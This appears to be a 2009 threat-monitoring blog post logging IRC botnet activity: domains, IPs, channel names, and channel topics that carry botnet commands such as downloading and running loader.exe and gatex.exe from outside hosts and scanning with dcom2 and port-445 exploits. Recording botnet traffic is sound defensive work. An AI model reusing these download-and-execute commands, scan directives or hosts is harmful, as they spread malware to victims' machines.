Month: May 2009

– DNS Queries:munirah.nagitiriheiwu.net – TCP Connection Attempts:72.10.169.26:3029

– Network Activity – IRC Conversations: 72.10.172.218:3838 Nick: zHPQfoptUsername: teylvnJoined Channel: ##pi##Channel Topic for Channel ##pi##: “* ipscan s.s dcom2 -s” ##pi## * download http://91.207.4.98:82/loader.exe -e -s ][ * download http://67.215.1.226/pea32p.exe -e -s ][ * ipscan s.s dcom2 -s – DNS Queries:proxim.ntkrnlpa.info

– DNS Queries:fuck.urpal43sourpalhuh.com– HTTP Conversations: 72.10.169.26:80 – [72.10.169.26] Request: GET /loader.exe Response: 200 “OK” – IRC Conversations: 72.10.172.218:7763 Nick: fUuFaTLMUsername: pjhaktJoined Channel: #siwaChannel Topic for Channel #siwa: “=74DPasNdCs1aNMAT2+T16pGJPpZaC6HKujVM+tkVJXI4u4hFRtHGfa5HPxwkf7iCUfc94RhA10suNnsj0V/BLzM8Ckpb71KNb0ZJyG0lDTZdhDyhckuXArt6B9QqCzju”

– DNS Queries:tx.mostafaaljaafari.net– IRC Conversations: 67.43.232.36:8080Nick: FpNYgjKTVUsername: ngyccnJoined Channel: #rstn2Channel Topic for Channel #rstn2: “* ipscan s.s.s dcom2 -f -s”

main.updateserver.cn 9001chanel=#….. password: .chanel=#.Resolved main.updateserver.cn]To [67.202.89.34]Now talking in #….. password: .Topic On: [ #….. password: . ] [ -main.update http://220.231.180.147/~imagecak/inf.jpg ]

Remote Host Port Numberproxim.ircgalaxy.pl 65520 NICK uzosyykgUSER y020501 . . :-Service Pack 2JOIN &virtu

burat.urpal43sourpalhuh.com 4244chanel ##russia## Resolved : [burat.urpal43sourpalhuh.com] To [218.61.22.10]

bf.burimche.net 4244channel #nick#chanel ##bb##chanel #bf#Resolved bf.burimche.net To [216.151.169.181]Resolved bf.burimche.net] To [67.215.1.226]

– HTTP Conversations:74.52.56.243:80 – [www.viajejapon.com]Request: GET /…/sp2eng.txtResponse: 200 “OK”Request: GET /…/LiveProfile.exeResponse: 200 “OK”Request: GET /…/gatex.exeResponse: 200 “OK”72.233.89.198:80 – [whatismyip.com]Request: GET /automation/n09230945.aspResponse: 200 “OK” – IRC Conversations:58.251.59.9:31091Nick: user|46Username: user|46Joined Channel: #simple# with Password syslockChannel Topic for Channel #simple#: “! usboff;! killoldones;! dlx www.viajejapon.com/…/gatex.exe;! start liveprofile.exe;! dlx www.viajejapon.com/…/LiveProfile.exe;! exploitmode1;! dl www.viajejapon.com/…/sp2eng.txt;! payload sp2eng.txt;! scanmyrange 445 10” InterestingRead more...

148.208.212.232 (6667)Channels: 16 channels formedClients: I have 684 clients and 4 serversLocal users: Current Local Users: 684 Max: 902Global users: Current Global Users: 699 Max: 1168